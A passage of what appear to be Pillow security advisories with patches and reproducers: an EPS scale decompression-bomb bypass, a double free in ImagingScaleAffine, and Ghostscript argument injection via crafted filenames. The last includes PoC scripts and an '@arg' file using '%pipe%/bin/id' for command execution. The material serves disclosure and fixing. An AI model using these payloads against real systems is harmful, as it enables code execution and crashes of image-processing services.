`pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000\u00d718000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1\u00d7 and 2\u00d7 `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377\u00d713377 is already rendered at `scale=1` \u2014 a 537 MB PNM. Against that baseline, `scale=2` is 4\u00d7 an already-permitted render.) The arithmetic is in `Ghostscript()`: ```python # src/PIL/EpsImagePlugin.py:91-97 # Hack to support hi-res rendering scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) \u2026 # src/PIL/EpsImagePlugin.py:139-142 command = [ gs_binary, \"-q\", # quiet mode f\"-g{width:d}x{height:d}\", # set output geometry (pixels) \u2026 # src/PIL/EpsImagePlugin.py:165-168 subprocess.check_call(command, startupinfo=startupinfo) with Image.open(outfile) as out_im: out_im.load() return out_im.im.copy() ``` and its caller does nothing between taking `scale` from the application and invoking it: ```python # src/PIL/EpsImagePlugin.py:411-417 def load(self, scale: int = 1, transparency: bool = False) -> \u2026: # Load EPS via Ghostscript if self.tile: assert self.fp is not None self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency) ``` `size` here is `self._size`, computed in `_open()` from the file's `%%BoundingBox` (or `%ImageData`) and checked once by `Image.open()` at `src/PIL/Image.py:3700`. For the benign path (`scale=1`) that check covers exactly what Ghostscript is asked to render. For `scale=N` the rendered pixel count is N\u00b2 times what was checked, so a file can sit just under the limit at open time and have Ghostscript render 4\u00d7 (scale 2), 9\u00d7 (scale 3), 16\u00d7 (scale 4) the configured budget. The first point at which Pillow looks at the real size again is `Image.open(outfile)` at line 166 \u2014 after `subprocess.check_call` has returned, i.e. after Ghostscript has spent the CPU and written `width*height*3` bytes to `tempfile.mkstemp()`'s directory. `WmfStubImageFile.load(dpi)` has the same shape (file-derived extent \u00d7 caller-supplied factor \u2192 new raster) and, since af70b075a, calls `Image._decompression_bomb_check(self.size)` on the recomputed size before rendering (`src/PIL/WmfImagePlugin.py:127-131`). The EPS path lacks the equivalent line. The gap dates from ce2955ec7128 (\"Throw an exception when an opened image is larger than an arbitrary limit\", 2014-05-14, first released in 2.5.0), which added the check to `Image.open()` without covering the `scale` path. ## Impact Affected are applications that open untrusted EPS/PS with Ghostscript installed and call `load(scale=N)` with a fixed N > 1, as the handbook suggests for non-blurry output. Handing untrusted EPS to Ghostscript at all already lets the same attacker tie up a worker with an equally tiny file (e.g. a PostScript `{} loop`; Pillow runs `gs` with no timeout), so this bug adds a constant factor rather than a new denial-of-service capability. Within that setting, a ~110-byte upload makes each request run Ghostscript over N\u00b2 \u00d7 `MAX_IMAGE_PIXELS` pixels (N\u00b2 \u00d7 2\u00b7`MAX_IMAGE_PIXELS` if the application does not turn `DecompressionBombWarning` into an error) and write a `W\u00b7H\u00b73`-byte PNM into the temp directory \u2014 972 MB for the example above at scale 2, 2.2 GB at scale 3, 8.6 GB for a 178-Mpixel declaration at scale 4 \u2014 before any limit is applied. The operator's `MAX_IMAGE_PIXELS` setting is exceeded by a factor of N\u00b2; N is an integer chosen by the application, not by the file, so the work stays bounded at N\u00b2 \u00d7 2\u00b7`MAX_IMAGE_PIXELS`. The consequence is N\u00b2 more Ghostscript CPU and temp-disk use per request than the configured limit intends; Pillow's own in-process pixel allocation remains bounded because `Image.open(outfile)` re-checks the PNM's size, and there is no memory corruption. This is a sibling of the WMF `load(dpi)` issue fixed in af70b075a (\"Add decompression bomb check when loading at a different DPI\"); the EPS `scale` path was not covered by that change. Unlike the WMF case, where the file-controlled `_inch` makes the ratio unbounded, the EPS multiplier is fixed by the application. ## Reproducing Run `repro` against the installed Pillow. Ghostscript does not need to be installed: the script sets `EpsImagePlugin.gs_binary = \"gs\"` so that `has_ghostscript()` skips its `gs --version` probe, and replaces `subprocess.check_call` with a function that records the command line Pillow builds and then raises `OSError`, so nothing is actually rendered. It writes a 76-byte EPS declaring `%%BoundingBox: 0 0 9000 9000` (the example above without the drawing line; 81 Mpixel, below the default `MAX_IMAGE_PIXELS` of 89,478,485) and turns `DecompressionBombWarning` into an error, so any bomb check \u2014 warning or hard error \u2014 counts. It then calls `Image.open()` and `im.load(scale=2)`. `Image.open()` accepts the file and `load(scale=2)` reaches the intercepted Ghostscript call with `-g18000x18000` (324,000,000 pixels, 3.6\u00d7 `MAX_IMAGE_PIXELS`, a 972 MB `pnmraw` output with real Ghostscript). The script prints the geometry it captured. It prints `BUG` when Ghostscript was invoked with a `-g` geometry above `2*MAX_IMAGE_PIXELS` (178,956,970) and no decompression-bomb check fired before that call; otherwise it prints `OK`. With the attached patch applied, `load(scale=2)` raises `DecompressionBombError` before Ghostscript is called and the script prints `OK`. ## Suggested fix The attached patch checks the scaled size in `Ghostscript()` right after the scaled `width`/`height` are computed (`src/PIL/EpsImagePlugin.py:93-94`) and before the `gs` command is built, mirroring `WmfStubImageFile.load`: ```diff --- a/src/PIL/EpsImagePlugin.py +++ b/src/PIL/EpsImagePlugin.py @@ -92,6 +92,7 @@ def Ghostscript( scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale + Image._decompression_bomb_check((width, height)) # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) res_y = 72.0 * height / (bbox[3] - bbox[1]) ``` `load(scale=N)` now raises `DecompressionBombError` / emits `DecompressionBombWarning` under the same `MAX_IMAGE_PIXELS` thresholds `Image.open()` applies, before Ghostscript runs instead of after. Placing the check in `Ghostscript()` rather than in `EpsImageFile.load()` is the single point where the rendered extent is decided, so it also covers direct callers of the module-level function. With the patch applied to a clean checkout the reproducer prints `OK` and `Tests/test_file_eps.py` passes. One cosmetic side effect: at `scale=1` the check re-emits the `DecompressionBombWarning` that `Image.open()` already issued for sizes between 1\u00d7 and 2\u00d7 the limit; guarding the call with `if scale > 1:` would avoid the duplicate. The patch also adds `test_load_scale_decompression_bomb` to `Tests/test_file_eps.py`, in the style of the WMF test: it sets `MAX_IMAGE_PIXELS` to `im.width * im.height` and expects `im.load(scale=2)` to raise `DecompressionBombError`. Like the rest of that file it is skipped without Ghostscript, because `has_ghostscript()` is consulted at the top of `Ghostscript()`; moving the check above that call would let the test run without it. ## The patch Add decompression bomb check on the scaled size in EpsImagePlugin.Ghostscript() before Ghostscript is invoked Applies to `src/PIL/EpsImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_eps.py b/Tests/test_file_eps.py index 70eced62a..de331d97f 100644 --- a/Tests/test_file_eps.py +++ b/Tests/test_file_eps.py @@ -98,6 +98,14 @@ def test_sanity(filename: str, size: tuple[int, int], scale: int) -> None: assert image.format == \"EPS\" +@pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\") +def test_load_scale_decompression_bomb(monkeypatch: pytest.MonkeyPatch) -> None: + with Image.open(FILE1) as im: + monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", im.width * im.height) + with pytest.raises(Image.DecompressionBombError): + im.load(scale=2) + + @pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\") def test_load() -> None: with Image.open(FILE1) as im: diff --git a/src/PIL/EpsImagePlugin.py b/src/PIL/EpsImagePlugin.py index 5eaefe339..ccc6f1d85 100644 --- a/src/PIL/EpsImagePlugin.py +++ b/src/PIL/EpsImagePlugin.py @@ -92,6 +92,7 @@ def Ghostscript( scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale + Image._decompression_bomb_check((width, height)) # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) res_y = 72.0 * height / (bbox[3] - bbox[1]) ``` ## The reproducer
Reproducer \u2014 repro, 1,845 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # EpsImagePlugin.Ghostscript(): load(scale=N) hands gs a -g geometry of # (W*N)x(H*N) with no _decompression_bomb_check on the scaled size; only the # unscaled WxH was checked by Image.open(). gs is not installed here, so we # set gs_binary and intercept subprocess.check_call to read the argv Pillow builds. import os, subprocess, tempfile, warnings from PIL import Image, EpsImagePlugin EpsImagePlugin.gs_binary = \"gs\" # skip the `gs --version` probe path = os.path.join(tempfile.mkdtemp(), \"a.eps\") with open(path, \"w\") as f: # 9000x9000 = 81 Mpx < MAX_IMAGE_PIXELS (89.5 Mpx) f.write(\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 9000 9000\\n%%EndComments\\nshowpage\\n\") calls = [] def fake_check_call(cmd, **kw): calls.append(cmd) raise OSError(\"gs intercepted\") # stop here; we only need the argv subprocess.check_call = fake_check_call hard = 2 * Image.MAX_IMAGE_PIXELS bomb_before_gs = False with warnings.catch_warnings(): warnings.simplefilter(\"error\", Image.DecompressionBombWarning) try: with Image.open(path) as im: print(\"Image.open accepted\", os.path.getsize(path), \"byte EPS, size\", im.size) im.load(scale=2) except (Image.DecompressionBombError, Image.DecompressionBombWarning) as e: bomb_before_gs = not calls print(\"bomb check fired\", \"before\" if bomb_before_gs else \"after\", \"gs:\", e) except OSError as e: print(\"load() reached gs:\", e) over = False for c in calls: g = next(a for a in c if a.startswith(\"-g\"))[2:] w, h = map(int, g.split(\"x\")) over |= w * h > hard print(f\"gs argv geometry -g{g} = {w*h} px ({w*h/Image.MAX_IMAGE_PIXELS:.1f}x MAX_IMAGE_PIXELS, \" f\"hard limit {hard}); pnmraw output would be {w*h*3} bytes\") print(\"BUG\" if calls and over and not bomb_before_gs else \"OK\") ```
---"}, {"id": "CVE-2026-112402", "fix_versions": ["13.0.0"], "aliases": ["GHSA-7mwm-ghpf-9vrm"], "description": "``` ============================================================================ Double free in ImagingScaleAffine on calloc failure via Image.transform Location: src/libImaging/Geometry.c:866 in ImagingScaleAffine() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` There is a double free in Pillow's `Image.transform()` that crashes the process when an oversized transform runs out of memory. Instead of only raising `MemoryError`, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of `Image.transform()` can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable. The bug is in `ImagingScaleAffine()` in `src/libImaging/Geometry.c` (line 866). When its `calloc()` for the per-column lookup table of `4 \u00d7 width` bytes fails, it calls `ImagingDelete(imOut)`. When the call comes from `Image.transform()`, `imOut` is the `Imaging` struct owned by the live Python `ImagingCore` output object. `_dealloc()` in `src/_imaging.c` later runs `ImagingDelete()` on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with `Transform.EXTENT`, or `Transform.AFFINE` with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as `ulimit -v`, `uwsgi --limit-as` or `systemd LimitAS=`. `resize()`, `thumbnail()` and `rotate()` are not affected. The attached reproducer runs on a stock build with a 1 GB limit: `transform((300000000, 1), EXTENT)` raises and catches `MemoryError`, then the process dies with SIGSEGV in `free()` called from `_dealloc()`. A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached. ## Details `ImagingScaleAffine()` frees an image it does not own. On the one error path where its `calloc()` for the per-column lookup table fails, it calls `ImagingDelete(imOut)`. When reached through `Image.transform()`, `imOut` is the `Imaging` struct held by a live Python `ImagingCore` object; that object's `_dealloc()` later calls `ImagingDelete()` on the already-freed struct and frees its pixel blocks a second time. Shortest demonstration on the stock build (the address-space limit stands in for `ulimit -v` / `uwsgi --limit-as` / `systemd LimitAS=` on a worker): ```python import resource, gc from PIL import Image resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2) src = Image.new(\"L\", (8, 8)) try: src.transform((300_000_000, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) except MemoryError: pass # expected, and the process should carry on gc.collect() # instead: SIGSEGV in _dealloc -> ImagingDelete -> free() ``` The 300 MB output image allocates; `calloc(300000000, 4)` (1.2 GB) does not. `MemoryError` is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing `free()` \u2190 `memory_return_block`/`ImagingDestroyArray` (`src/libImaging/Storage.c:396,408`) \u2190 `ImagingDelete` (`Storage.c:271`) \u2190 `_dealloc` (`src/_imaging.c:188`). An AddressSanitizer build of the same sources (with `max_allocation_size_mb` used to make the `calloc` fail instead of an rlimit) reports `heap-use-after-free` in `ImagingDelete src/libImaging/Storage.c:257` called from `_dealloc src/_imaging.c:188`, on a 128-byte region \"freed by\" `ImagingDelete` \u2190 `ImagingScaleAffine src/libImaging/Geometry.c:866` \u2190 `ImagingTransformAffine Geometry.c:1043` \u2190 `ImagingTransform Geometry.c:1135` \u2190 `_transform src/_imaging.c:2153`, \"previously allocated by\" `ImagingNewPrologueSubtype Storage.c:53` \u2190 \u2026 \u2190 `_new src/_imaging.c:756`. ### Code path `Image.transform()` creates the output image as an ordinary Python-owned image and then transforms *into* it: ```python # src/PIL/Image.py:3008\u20263021 im = new(self.mode, size, fillcolor) \u2026 im.__transformer( (0, 0, *size), self, method, data, resample, fillcolor is None ) ``` `__transformer()` rewrites `Transform.EXTENT` into an axis-aligned affine matrix (`src/PIL/Image.py:3040-3046`: `data = (xs, 0, x0, 0, ys, y0)`, `method = Transform.AFFINE`) and calls `self.im.transform(box, image.im, method, data, resample, fill)` (`Image.py:3117`). `resample` defaults to `Resampling.NEAREST` (`Image.py:2936`). In C, `_transform()` passes its *own* image as the destination: ```c /* src/_imaging.c:2153 */ imOut = ImagingTransform( self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill ); ``` `ImagingTransformAffine()` takes the scaling fast path because the filter is NEAREST and the matrix has no shear: ```c /* src/libImaging/Geometry.c:1035-1043 */ if (filterid || imIn->type == IMAGING_TYPE_I16) { return ImagingGenericTransform(\u2026); } if (a[1] == 0 && a[3] == 0) { /* Scaling */ return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill); } ``` and `ImagingScaleAffine()` allocates a table of `imOut->xsize` ints: ```c /* src/libImaging/Geometry.c:863-868 */ /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { ImagingDelete(imOut); /* <-- imOut belongs to the caller */ return (Imaging)ImagingError_MemoryError(); } ``` `ImagingDelete()` (`src/libImaging/Storage.c:250-279`) drops the refcount to 0, returns the pixel blocks to the arena / `free()`s them via `im->destroy`, and `free(im)`. `self->image` in the `ImagingCore` object still points at the freed struct. `_transform()` returns `NULL`, `Image.transform()` propagates `MemoryError`, the half-built output `Image` loses its last reference, and `_dealloc()` (`src/_imaging.c:188`) calls `ImagingDelete(imagep->image)` again: it locks `im->mutex` and decrements `im->refcount` inside freed memory, then walks `im->blocks` (already freed, typically reused by then) and frees every entry a second time. In the observed stock-build runs the freed `blocks` array had been overwritten, so `free()` receives a mangled pointer and the process segfaults; with other heap states it is a plain double free of a 300 MB block. Every other error return in `Geometry.c` (`ImagingError_ModeError`, `ImagingError_Mismatch`, `\"bad filter number\"`, `\"bad transform method\"`) leaves `imOut` alone; line 866 is the only one that deletes it. The delete is only correct for the other caller, `_resize()` (`src/_imaging.c:2026-2030`), where `imOut` is a fresh `ImagingNewDirty()` temporary that nothing else references. The delete predates Pillow's git history: it came in with the PIL 1.1.7 import, `9a640e315715` (\"Forking PIL\", 2010-07-30), so every release since Pillow 1.0 is affected. The output width is what decides whether the path is hit: the output image costs `width \u00d7 height \u00d7 pixelsize` bytes, the table an additional `4 \u00d7 width`. A very wide, 1-row output (300 000 000 \u00d7 1 \"L\": 300 MB image, 1.2 GB table) makes the table the allocation that fails. `ImagingNewPrologueSubtype()` caps `xsize` at `INT_MAX/4 - 1`, so the table is at most ~2 GB. ## Impact Applications that let a user choose the output size of `Image.transform()` \u2014 `Transform.EXTENT` (crop-and-scale), `Transform.AFFINE` with a pure scale/translate matrix, or the `ImageTransform.ExtentTransform`/`AffineTransform` helpers, all with the default NEAREST resampling \u2014 can have an allocation failure turned into a use-after-free and double free inside the worker process instead of the `MemoryError` the API is meant to raise. `resize()`, `thumbnail()` and `rotate()` do not reach this path; `Image.resize(..., NEAREST, box=...)` goes through `ImagingScaleAffine()` but owns its output, and raises a clean `MemoryError`. The second precondition is that the output image itself allocates but the extra `4 \u00d7 width` bytes do not; on 64-bit Linux with default overcommit this requires an address-space limit on the process (`ulimit -v`, `uwsgi --limit-as`, `systemd LimitAS=`, an in-app `setrlimit`), which is a common hardening for image workers; 32-bit processes can reach it through ordinary address-space exhaustion. The demonstrated consequence is a crash of the process handling the request after `MemoryError` has already been raised and possibly handled. The second `ImagingDelete()` also writes into the freed 128-byte struct (mutex, refcount) and double-frees an attacker-sized block, which is heap corruption rather than a clean abort, but no control over the written data is shown. ## Reproducing Run `repro` (a self-contained Python script) from any directory. It uses the installed stock build, so nothing is rebuilt, and has no companion files. It runs the demonstration above in a child interpreter (`python3 -c`, taking `WIDTH` as an argument): the child disables core files, sets `RLIMIT_AS` to 1 GB (the kind of limit image workers are commonly given), creates an 8\u00d78 \"L\" image, calls `src.transform((WIDTH, 1), Image.Transform.EXTENT, (0, 0, 8, 8))` with the default NEAREST resampling, prints `MemoryError caught` if that raises, then runs `gc.collect()` and prints `alive`. EXTENT with NEAREST is a pure scale, so the call goes through `ImagingScaleAffine()`, which callocs a `4 \u00d7 WIDTH`-byte table in addition to the `WIDTH`-byte output image. The script runs the child twice: - **Control:** width 50 000 000. The 50 MB image and the 200 MB table both fit under the limit, and the transform succeeds, which shows the limit itself is harmless. - **Attack:** width 300 000 000. The 300 MB output image is allocated, but `calloc(300000000, 4)` (1.2 GB) fails. Pillow correctly raises `MemoryError`, and the child catches it. But `ImagingScaleAffine()` has already called `ImagingDelete()` on the output image it does not own. When the output image is released, it is freed again. The child prints `MemoryError caught` and then dies with SIGSEGV instead of printing `alive`. If the attack child was killed by a signal and `gdb` is installed, the script runs the attack again under `gdb` and prints the backtrace. The crash is in `free()` \u2190 `memory_return_block`/`ImagingDestroyArray` (`Storage.c:396,408`) \u2190 `ImagingDelete` (`Storage.c:271`) \u2190 `_dealloc` (`_imaging.c:188`). In other words, the Python object's destructor is deleting the already-freed struct a second time. The verdict does not depend on this step. The last line is `BUG` when the control exits 0 and the attack prints `MemoryError caught` and then dies from a signal without printing `alive`. Otherwise it is `OK`. With the attached patch applied, the attack prints `MemoryError caught`, then `alive`, exits 0, and the script prints `OK`. ## Suggested fix `ImagingScaleAffine()` never owns `imOut`. The attached patch removes the `ImagingDelete()` at `src/libImaging/Geometry.c:866` and makes the one caller that relied on it, `_resize()` in `src/_imaging.c`, clean up its own temporary, the same idiom `_gaussian_blur()`/`_unsharp_mask()` already use. This also fixes `_resize()` passing a possible `NULL` from `ImagingNewDirty()` into `ImagingTransform()`, and leaking the temporary on the other `ImagingTransform()` error returns: ```diff --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + /* imOut is owned by the caller; don't delete it here */ return (Imaging)ImagingError_MemoryError(); } --- a/src/_imaging.c +++ b/src/_imaging.c @@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else { ``` Every `ImagingTransform*()` path returns the same `imOut` on success, so wrapping the original pointer in `PyImagingNew()` in `_resize()` is unchanged behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Image.resize(..., NEAREST, box=...)` under the same limit raises a clean `MemoryError`. ## The patch Stop ImagingScaleAffine() deleting the caller-owned output image on calloc failure; make _resize() free its own temporary instead Applies to `src/libImaging/Geometry.c` at the commit above. ```diff diff --git a/src/_imaging.c b/src/_imaging.c index 7e9c0e391..ac1873292 100644 --- a/src/_imaging.c +++ b/src/_imaging.c @@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else { imOut = ImagingResample(imIn, xsize, ysize, filter, box); } diff --git a/src/libImaging/Geometry.c b/src/libImaging/Geometry.c index 1bf92e26e..2baf000a5 100644 --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + /* imOut is owned by the caller; don't delete it here */ return (Imaging)ImagingError_MemoryError(); } ``` ## The reproducer
Reproducer \u2014 repro, 2,064 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # UAF/double free in ImagingScaleAffine() (src/libImaging/Geometry.c:866): # on calloc() failure it ImagingDelete()s imOut, which for Image.transform() # is the Imaging struct owned by the live Python output image; that image's # _dealloc then ImagingDelete()s it again. Stock /src build, no rebuild. # A 1 GB RLIMIT_AS makes the 300 MB output image fit but the 1.2 GB # 4*width lookup table fail. Expected: MemoryError, process survives. import subprocess, sys, textwrap, signal child = textwrap.dedent(''' import resource, gc, sys from PIL import Image resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2) w = int(sys.argv[1]) src = Image.new(\"L\", (8, 8)) try: src.transform((w, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) print(\"transform ok\") except MemoryError: print(\"MemoryError caught\") gc.collect() print(\"alive\") ''') def run(width): p = subprocess.run([sys.executable, \"-u\", \"-c\", child, str(width)], capture_output=True, text=True, timeout=50) print(f\"-- width={width}: rc={p.returncode}\\n{p.stdout.rstrip()}\") return p ctrl = run(50_000_000) # 50 MB image + 200 MB table fit under the limit att = run(300_000_000) # 300 MB image fits, 1.2 GB table does not bug = (ctrl.returncode == 0 and \"MemoryError caught\" in att.stdout and \"alive\" not in att.stdout and att.returncode < 0) if att.returncode < 0: print(\"attack child killed by\", signal.Signals(-att.returncode).name) import shutil if shutil.which(\"gdb\"): # evidence only; verdict does not depend on it g = subprocess.run([\"gdb\", \"-q\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 6\", \"--args\", sys.executable, \"-c\", child, \"300000000\"], capture_output=True, text=True, timeout=120) print(\"\\n\".join(l for l in g.stdout.splitlines() if l.startswith(\"#\") or \"signal\" in l)) print(\"BUG\" if bug else \"OK\") ```
---"}, {"id": "CVE-2026-112900", "fix_versions": ["13.0.0"], "aliases": ["GHSA-w889-685w-c8fh"], "description": "### Summary `PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f `. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled). ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ #### Type CWE-88 (Argument Injection) (\u2192 CWE-78 (OS Command Injection) optionally, with attacker controlled text file) #### Vulnerable Codes ```python infile_temp = None if hasattr(fp, \"name\") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ... (copy fp into a temporary file) # Build Ghostscript command command = [ gs_binary, \"-q\", f\"-g{width:d}x{height:d}\", f\"-r{res_x:f}x{res_y:f}\", \"-dBATCH\", \"-dNOPAUSE\", \"-dSAFER\", # default sandbox \u2014 does NOT stop this injection f\"-sDEVICE={device}\", f\"-sOutputFile={outfile}\", \"-c\", f\"{-bbox[0]} {-bbox[1]} translate\", \"-f\", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) \"-c\", \"showpage\", ] # ... subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript ``` #### Root cause. When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing \u2014 in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting. #### Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` \u2014 `infile = fp.name`, and the command list entry `\"-f\", infile`. #### Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`): ```python if hasattr(fp, \"name\") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name ``` `os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change. ### PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. ``` FROM ubuntu:24.04 RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/* RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg . CMD [\"python3\", \"poc.py\"] ``` poc.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\" name = \"-h\" with open(name, \"wb\") as f: f.write(EPS) ############################################################################################ print(f\"[*] Pillow opens a file whose name is {name!r}\") im = Image.open(name) print(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\") try: im.load() except Exception as e: print(f\"[*] load() raised: {type(e).__name__}: {e}\") print(\"CWE-88: argument injection; Pillow code doesn't validate argument name\") print(\" This poc.py shows the vulnerability clearly.\") print(\" If Pillow checks the name of file before it uses, It won't display `help`\") ``` poc-rce.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\" # To chain this vulnerability into critical RCE, We need another arbitrary text file # In this script, it is `arg`. name = \"@arg\" with open(name, \"wb\") as f: f.write(EPS) ############################################################################################ print(f\"[*] Pillow opens a file whose name is {name!r}\") im = Image.open(name) print(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\") print(f\"[*] and this leads to arbitrary command injection.\") print(f\"*********************************************\") try: im.load() except Exception as e: print(f\"*********************************************\") print(f\"[*] load() raised: {type(e).__name__}: {e}\") print(\"\") print(\"CWE-78: OS Command Injection;\") print(\"CWE-88: Argument Injection ; Pillow code doesn't validate argument name\") print(\" This poc.py shows the vulnerability clearly.\") print(\" If Pillow checks the name of file before it uses, It won't call `id`\") ``` arg ``` -sOutputFile=%pipe%/bin/id -c 1 dict dup /OutputFile (%pipe%/bin/id) put setpagedevice ``` ### Impact **Confirmed \u2014 Ghostscript argument injection.** Because the filename is not validated, a leading `-`/`--` is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to `Image.open()` can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds. **Potential RCE (verified).** The filename is also not validated against Ghostscript's `@`-file syntax: a filename of the form `@` causes Ghostscript to read additional command-line arguments from ``, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution \u2014 an escalation we verified in our PoC (execution of `id`). Applies under Pillow's default configuration (with `-dSAFER` enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1) ### Why this is a Pillow bug (not the documented \"block untrusted EPS\" risk) This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected \u2014 the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an 